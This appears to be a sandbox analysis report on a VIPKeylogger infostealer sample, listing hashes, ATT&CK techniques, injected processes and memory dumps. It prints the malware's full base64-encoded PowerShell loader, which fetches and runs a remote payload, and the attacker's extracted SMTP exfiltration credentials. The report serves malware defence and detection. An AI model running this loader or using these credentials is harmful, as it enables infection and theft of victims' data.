vipkeylogger | 1817a7661c198619d6cedcaf58cdaa63f3195551edb1597f4c3c3497799d42d7

General

Target

1817a7661c198619d6cedcaf58cdaa63f3195551edb1597f4c3c3497799d42d7.vbs
Size

183KB
MD5

f545e8be6220242acf3b735f153d0650
SHA1

bf5df9d7432b38159c1ca101e1df8c292cedcac0
SHA256

1817a7661c198619d6cedcaf58cdaa63f3195551edb1597f4c3c3497799d42d7
SHA512

96a2f504b6af6cb4a2ac4a787049731487c76a8979f323cd3284b27654ff3a58d6fae24111d911e2caa12f0f9a6efa0766d7ef670d68277ced5b2f1d0724d84d
SSDEEP

3072:chvVIewt1Dp4PfXVtKYGyCjc9fP0Fb9+DPvv1e:wvVTKYGyCR

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
turkey.ipchina163.com
Port:
587
Username:
[email protected]
Password:
!YxP!%1gFh=G

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
turkey.ipchina163.com
Port:
587
Username:
[email protected]
Password:
!YxP!%1gFh=G
Email To:
[email protected]

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	1992	powershell.exe
17	1992	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1992	powershell.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	checkip.dyndns.org
21	reallyfreegeoip.org
22	reallyfreegeoip.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1992 set thread context of 408	1992	powershell.exe	90

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
408	MSBuild.exe
408	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeDebugPrivilege	408	MSBuild.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1408 wrote to memory of 1992	1408	WScript.exe	85
PID 1408 wrote to memory of 1992	1408	WScript.exe	85
PID 1992 wrote to memory of 5016	1992	powershell.exe	88
PID 1992 wrote to memory of 5016	1992	powershell.exe	88
PID 1992 wrote to memory of 5016	1992	powershell.exe	88
PID 1992 wrote to memory of 4752	1992	powershell.exe	89
PID 1992 wrote to memory of 4752	1992	powershell.exe	89
PID 1992 wrote to memory of 4752	1992	powershell.exe	89
PID 1992 wrote to memory of 408	1992	powershell.exe	90
PID 1992 wrote to memory of 408	1992	powershell.exe	90
PID 1992 wrote to memory of 408	1992	powershell.exe	90
PID 1992 wrote to memory of 408	1992	powershell.exe	90
PID 1992 wrote to memory of 408	1992	powershell.exe	90
PID 1992 wrote to memory of 408	1992	powershell.exe	90
PID 1992 wrote to memory of 408	1992	powershell.exe	90
PID 1992 wrote to memory of 408	1992	powershell.exe	90

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1817a7661c198619d6cedcaf58cdaa63f3195551edb1597f4c3c3497799d42d7.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABhAGQAagBvAHUAcgBuAG0AZQBuAHQAIAA9ACAAJwAwAC8AbQBtAFkAWABSAHkAWABRAC8AZAAvAGUAZQAuAGUAdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgAJwA7ACQAcABlAG4AdABhAGQAaQBjACAAPQAgACQAYQBkAGoAbwB1AHIAbgBtAGUAbgB0ACAALQByAGUAcABsAGEAYwBlACAAJwAjACcALAAgACcAdAAnADsAJABmAGEAcgBhAGQAaQB6AGUAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AMwAwADAANQAuAGYAaQBsAGUAbQBhAGkAbAAuAGMAbwBtAC8AYQBwAGkALwBmAGkAbABlAC8AZwBlAHQAPwBmAGkAbABlAGsAZQB5AD0AbgBJAHgAXwA1AFQAMABMAHgASABPAEIAagBpAGwATgBiADkAQwBSAHYAaQBhAGIAUABqAHIAVwAyAGQAbABDAC0ATAB4AGUATwBkAEoAUABGAF8AWgBfADEATQBQADYAQwB1AFEAQgBTADUASwBjAHAAdABBACYAcABrAF8AdgBpAGQAPQAzADQAMgA4ADAAMwBkADEAYwBjADQAZQAzAGIAOAAwADEANwAzADkAMwA1ADkAMgAwADMAYgA1AGYAZQA5AGQAJwA7ACQAZQBvAGwAaQBhAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwBhAHIAbwB0AGkAYwAgAD0AIAAkAGUAbwBsAGkAYQBuAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGYAYQByAGEAZABpAHoAZQApADsAJABoAHkAZQB0AG8AbQBlAHQAcgBvAGcAcgBhAHAAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGMAYQByAG8AdABpAGMAKQA7ACQAbABhAHUAbgBkAGUAcgBlAHIAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAHMAZQBtAGkAcABoAHkAbABsAGkAZABpAGEAbgAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABjAG8AbgBmAGUAYwB0AGkAbwBuAGUAcgBzACAAPQAgACQAaAB5AGUAdABvAG0AZQB0AHIAbwBnAHIAYQBwAGgALgBJAG4AZABlAHgATwBmACgAJABsAGEAdQBuAGQAZQByAGUAcgApADsAJABmAHIAYQBjAHQAaQBvAG4AYQB0AGkAbgBnACAAPQAgACQAaAB5AGUAdABvAG0AZQB0AHIAbwBnAHIAYQBwAGgALgBJAG4AZABlAHgATwBmACgAJABzAGUAbQBpAHAAaAB5AGwAbABpAGQAaQBhAG4AKQA7ACQAYwBvAG4AZgBlAGMAdABpAG8AbgBlAHIAcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGYAcgBhAGMAdABpAG8AbgBhAHQAaQBuAGcAIAAtAGcAdAAgACQAYwBvAG4AZgBlAGMAdABpAG8AbgBlAHIAcwA7ACQAYwBvAG4AZgBlAGMAdABpAG8AbgBlAHIAcwAgACsAPQAgACQAbABhAHUAbgBkAGUAcgBlAHIALgBMAGUAbgBnAHQAaAA7ACQAcwBoAGUAZQByAGwAZQBzAHMAIAA9ACAAJABmAHIAYQBjAHQAaQBvAG4AYQB0AGkAbgBnACAALQAgACQAYwBvAG4AZgBlAGMAdABpAG8AbgBlAHIAcwA7ACQAZwBuAGEAcgBsAGkAZQBzAHQAIAA9ACAAJABoAHkAZQB0AG8AbQBlAHQAcgBvAGcAcgBhAHAAaAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABjAG8AbgBmAGUAYwB0AGkAbwBuAGUAcgBzACwAIAAkAHMAaABlAGUAcgBsAGUAcwBzACkAOwAkAHAAaQBsAHAAdQBsAGkAcwB0AGkAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABnAG4AYQByAGwAaQBlAHMAdAApADsAJABsAG8AYwB1AHMAdABpAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAcABpAGwAcAB1AGwAaQBzAHQAaQBjACkAOwAkAFYAZQBsAHUAdwBzACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAcABlAG4AdABhAGQAaQBjACwAJwAnACwAJwAnACwAJwAnACwAJwBNAFMAQgB1AGkAbABkACcALAAnACcALAAnACcALAAnACcALAAnACcALAAnACcALAAnACcALAAnACcALAAnACcALAAnACcALAAnACcAKQApAA==')) | Invoke-Expression"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:5016
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:4752
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2uppqfhn.flu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/408-17-0x0000000000400000-0x000000000044A000-memory.dmp

Filesize
296KB

Download
memory/408-27-0x00000000064D0000-0x00000000064DA000-memory.dmp

Filesize
40KB

Download
memory/408-26-0x0000000006560000-0x00000000065F2000-memory.dmp

Filesize
584KB

Download
memory/408-25-0x00000000069F0000-0x0000000006F1C000-memory.dmp

Filesize
5.2MB

Download
memory/408-24-0x0000000006190000-0x00000000061E0000-memory.dmp

Filesize
320KB

Download
memory/408-23-0x00000000062F0000-0x00000000064B2000-memory.dmp

Filesize
1.8MB

Download
memory/408-22-0x0000000004FD0000-0x000000000506C000-memory.dmp

Filesize
624KB

Download
memory/408-21-0x0000000005580000-0x0000000005B24000-memory.dmp

Filesize
5.6MB

Download
memory/1992-12-0x00007FF95B160000-0x00007FF95BC21000-memory.dmp

Filesize
10.8MB

Download
memory/1992-20-0x00007FF95B160000-0x00007FF95BC21000-memory.dmp

Filesize
10.8MB

Download
memory/1992-16-0x00007FF95B160000-0x00007FF95BC21000-memory.dmp

Filesize
10.8MB

Download
memory/1992-15-0x00007FF95B163000-0x00007FF95B165000-memory.dmp

Filesize
8KB

Download
memory/1992-14-0x000001B357410000-0x000001B35741C000-memory.dmp

Filesize
48KB

Download
memory/1992-13-0x000001B371B40000-0x000001B371D46000-memory.dmp

Filesize
2.0MB

Download
memory/1992-0-0x00007FF95B163000-0x00007FF95B165000-memory.dmp

Filesize
8KB

Download
memory/1992-11-0x00007FF95B160000-0x00007FF95BC21000-memory.dmp

Filesize
10.8MB

Download
memory/1992-10-0x000001B371750000-0x000001B371772000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads